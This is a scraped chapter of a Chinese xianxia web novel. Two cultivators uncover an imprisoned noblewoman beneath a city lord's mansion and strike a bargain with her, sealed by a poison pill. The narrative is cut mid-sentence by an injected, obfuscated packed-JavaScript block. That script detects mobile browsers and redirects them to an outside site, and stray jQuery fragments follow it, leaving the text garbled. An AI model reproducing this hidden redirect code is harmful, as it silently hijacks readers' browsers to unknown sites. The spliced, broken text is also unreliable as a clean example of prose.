默认冷灰
24号文字
方正启体

13. 丰谷城(四)

作者:年年今夜本书字数:K更新时间:
    天色将晚,晏如加快动作把子桑倾月从客栈接到了城主府。


    晏如觉得似乎是她下午的戏演得不错,让薛临以为收服梦魇兽是件很困难的事,也让他十分看好霁月宗的弟子,所以今夜才对他们一行人愈加尊敬礼待。


    在子桑倾月被送去治疗的间隙,薛临还提前备下了酒宴款待他们。


    吃过晚饭,子桑倾月仍未从灵泉回来,薛临于是提议道,“倾月姑娘伤的不轻,虽有灵泉相助,完全治愈恐怕也至少需要三日。不如在此期间,晏道长与你的朋友们便先在寒舍住下吧,也好方便照应。”


    晏如一口答应,“如此便只好再多叨扰薛城主些日子了。”


    “哪里的话。”


    薛临听到黑风的声音在说:“你终于想明白了,杀几个外地人可比本地人容易毁尸灭迹的多。”


    几人分别回了薛临安排的客房,回去的路上,陶沅沅与陆子滕并肩而行。


    她看多了志怪传说,八卦惯了,对这些贵族秘辛十分好奇,今日只见到小世子与薛城主,从头到尾没见过城主夫人,也没从下人的嘴里听到有关的只字片语,不免有些疑惑。


    陶沅沅试图与前面领路的婢女搭上话,想从她嘴里套出些小道消息来。


    可这城主府的婢女似乎不是个热切的性子,陶沅沅喊了她好几声姐姐,她才慢悠悠地转过头来。


    “姑娘可是有事要吩咐奴婢?”


    陶沅沅热情未曾消减,堆着笑问她,“没什么,只是今日不曾拜见过城主夫人,觉得有些失礼。想问姐姐能否带我去给夫人问安?”


    婢女听不太清她说的话,只是听到含糊的“夫人”二字,脸色突然变得难看起来,“姑娘还是莫要多问了。城主是不允许奴婢们私下里议论后宅的事的。”


    陶沅沅吐了吐舌头,神情愧疚,“抱歉……”


    婢女没听清她具体说了什么,只以为她是在做鬼脸,浅笑着转身,继续带他们往客房去。


    *


    “四十年来家国,三千里地山河。凤阁龙楼连霄汉,玉树琼枝作烟萝,几曾识干戈……一旦归为臣虏……垂泪对宫娥……”


    晏如在睡梦中听到断断续续的唱曲声,迷迷糊糊地睁开眼。


    月光透过窗户纸照进来,把她被褥上的桃花织金图案照的一清二楚。


    她在榻上坐起来,盯着亮晶晶的桃花出神,那歌声细微,有一句没一句地萦绕在她耳畔。


    “最是仓皇辞庙日,教坊犹奏别离歌……”


    晏如被扰的再也睡不着,起床穿好衣裳,开门后正好撞上了在庭院里散步的晏凉州。


    这夜风清月朗,星月交辉。


    晏凉州脚下拖着孤寂拉长的影子,在院子里踱步。


    晏如踩着他的影子走到他身边,“怎么这么晚还不回房歇息?”


    晏凉州摘下鲛纱,用来替她束好未曾来的及挽起的长发,“我睡不着,就想出来赏赏月。你呢,怎么突然醒了?”


    “我听到有人在唱曲儿。”晏如不太确定地问他,“你在外头这么久,有听到歌声吗?”


    他摇摇头,“不曾听到。”


    见晏如面色迟疑,他又道,“或许是我方才想事情出了神,不曾注意外界的动静。你现在还有听到歌声吗?”


    晏如正要说“没有了”,却又听到凄婉的女声传来——“四十年来家国,三千里地山河……”


    她十分不解,于是对晏凉州道,“你跟我来。”


    两人朝着晏如听到歌声的方向走去,一直到了后院的假山,晏凉州才终于也听到了晏如所说的歌声,那声音哀戚婉转,似乎要用歌声道尽万般愁肠。


    他们要继续探究追寻下去,那歌声却戛然而止,无影无踪。


    “歌声似乎就是在这附近传来的,现下却停了。”


    晏如不慌不忙地察看四周,最后目光锁定在假山处,“这附近没有房室,怎会有女子半夜在此处歌唱?”


    她仔细观察了四周,看到假山周围的土壤湿润松软,陷入了沉思。


    晏凉州见她不语,于是问道,“可是发现了什么古怪之处?”


    晏如神情疑惑,“一般假山摆放方位会有吉凶之分,寻常宅邸多是将假山摆放在西北位或东北位,所谓吉位。可这座假山的摆放位置却是在正南方,摆在大凶之位。这城主府是丰谷城历任城主居住之所,不可能不注重风水。而且这座假山周围土壤松动,底部长的苔藓也很鲜活,明显是搬来的时日不长。”


    “你是说,这假山是最近才搬来的,是为了遮掩什么才仓促摆在此处的?”


    晏如点点头,“极有可能是这样。”


    她把释厄剑从身后拔.出来,施了咒法,释厄剑插进土里,轻松地把假山撬起,假山之下俨然是一块石板。


    为了避免节外生枝,晏如在周围设下结界,又施了障眼法,进了结界的人看不出假山附近有任何异样。


    晏凉州手握住石板上的铁环,问她,“要下去看看吗?”


    晏如手持释厄剑,兴趣盎然,“都把石头撬开了,要是不下去看个究竟,岂不是白费了这番力气?”


    晏凉州了然一笑,右手稍稍使力,就拉开了石板,露出地下的石阶通道。


    他在自己和晏如身上施了隐身的法术,才带着晏如进了地道。


    二人走下石阶,又穿过几条冗长昏暗的密道,才终于在一个转弯处看到些许灯火的微光,那首破阵子也继续响起,从光亮处顺着石壁传过来。


    晏如素来对这些诗词歌赋无甚兴趣,听她唱得云里雾里,忍不住请教晏凉州,“她在唱什么啊?感觉听着怪伤情的。”


    “是南唐后主李煜所赋的破阵子,一首亡国之词。”


    “李玉?”晏如挠挠有些发痒的头顶,“亡国之词?难道是这薛临抓了其他小国的女子在这里?”


    晏凉州警惕周围的环境,把晏如护在身后,“咱们继续朝前走,去找到这个歌唱的女子,一切就会明了。”


    他们朝着有光的地方走去,原本以为会看到腥臭腐朽的地牢,可这城主府的地底下却藏着一间雕梁画栋、金碧辉煌的屋子。


    屋子的门窗都装有铁栅栏,与其说是金屋,说是一所黄金牢笼或许更为贴切。


    晏如无视门前看守的侍卫,对他们捏了个诀,两个侍卫便先后昏睡了过去,而后领着晏凉州堂而皇之地穿墙进入了屋里。


    薛娆靠在窗棂边,神色哀伤地念着那几句词。


    晏如现出身形,把她吓了一惊,“你们是何人?怎会出现在此处?”


    晏如从容反问她,“你又是谁?为何被囚禁在这地下吟唱亡国之曲?”


    薛娆用怀疑的目光打量着他们,“你们不是薛临的人?”


    “自然不是。”


    晏凉州拉开桌边的凳子让晏如坐下,开门见山问她道,“听闻老城主的千金薛娆,自城主换届之后便销声匿迹,不知姑娘是否便是那位薛小姐?”


    薛娆眼神飘忽不定,显然是被他说中了。


    晏如有些诧异他居然知道这么多情报,看向他的眼神里都带了几分欣赏。


    晏凉州欣然受下她赞许的目


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500750|170331||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光,又转头冷声对薛娆道,“我们设下的结界维持不了多久。但你运气不错,今夜这位姑娘正好想听故事了,你的故事若是有意思,说不定我们会是救你出去的人。”


    薛娆又问他道,“二位不是丰谷城的人?”


    晏凉州没有回答她的问题,而是提醒她,“薛小姐还有不到一炷香的时辰来说自己的故事。当然,你也可以选择无视我们,放弃这次逃走的机会。”


    薛娆别无他法,只能选择相信他们,向晏如诉说起了往事,“一切始于三年前的一场天灾……我的父亲与其他百姓患上了同一种怪病,重病而死,本是副城主的薛临接掌了城主印,成了丰谷城的新城主。原本我是肯好好辅佐薛临,帮他好好治理丰谷城的……”


    “可偶然的机会,我得知那所谓的怪病不过是薛临为了篡权夺位而使出的诡计,他在百姓的饮水和土壤中下毒,还与妖物勾结,私吞了镇城之宝土艮珠,导致灵泉枯竭。薛临虽是我父亲的养子,但父亲一直对他视如己出,我亦是将他当做亲弟弟看待。没想到他竟做出弑父篡位这样大逆不道的事情,我当时年轻气盛,当即就冲出去与他对质。结果……却被他玷污,还被迫生下了他的骨血。”


    晏如见识过太多人的丑恶面目,对这样的事见怪不怪,“如此说来,薛宇是你们的孩子?”


    她这样赤.裸裸地坦然发问,让薛娆有些羞于启齿,“……是。家门不幸出了这般丑事,我恨自己不能带着薛临和这孽种一起去死。”


    这“孽种”二字触动了晏如的某条思绪,她禁不住多嘴了一句,“可薛宇毕竟也是你的儿子,你为何这般怨憎一个无辜孩提?”


    薛娆苦笑一声,“无辜?他原本就不该来这世上。若没有这个孩子,我的痛苦也会少一些。”


    晏如说不出其他话了,在她过去十几年的人生里,母亲从来都是不能提的禁忌,想来晏山也是与如今的薛娆痛恨孩子的父亲一样,对她的母亲恨之入骨,所以才对她恨屋及乌,从不肯施舍给她半分怜爱。


    人人都知道霁月宗的晏掌门对自己曾经的师妹柳芙一往情深,可却对她的母亲讳莫如深,在他眼里,她们母女从来都是拿不出手,见不得光的存在。


    晏如回过神来,面色如常地问她,“你既然这样恨薛临,为何不在发现真相时就趁其不备杀了他?”


    薛娆长长叹了口气,“他有妖魂护体,寻常武器根本近不了他的身。我尝试过很多次,但都失败了。他每隔几日就会来看我,我有无数次杀他的机会,只差一把能伤他的兵器。”


    “做笔交易吧。我有办法帮你杀了薛临,但你要拿土艮珠做交换。如何?”


    怕她不信,晏如从腰间取下乾坤袋放大,从里头找出一把匕首来,循循善诱,“此法器名为破镜刀,可以刺穿一切魂体。持刀之人越恨对方,伤害便越强,最适合用来结果忘恩负义之辈。”


    薛娆轻咬住下唇,眼神纠结片刻,而后坚定道,“好。我愿意拿土艮珠来换这把刀,但你只需给我刀便可,我要亲手了结他。”


    晏如挑挑眉,“你如何保证,事成之后你不会出尔反尔?”


    薛娆哑然,不知如何给出一个令眼前女子满意的回复。


    晏如盯着她美艳的容颜,从袖中取出一丸药递给她,“我倒是有个好法子。你把这药吃下去,待我拿到土艮珠之后,自会把解药给你。但你若言而无信,我就毁了解药,不出一月你便会毒发身亡。薛小姐可愿以自己的性命做担保,跟我做这笔交易?”


    薛娆眸光坚毅,毫不迟疑地接过药丸咽下去,“成交。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)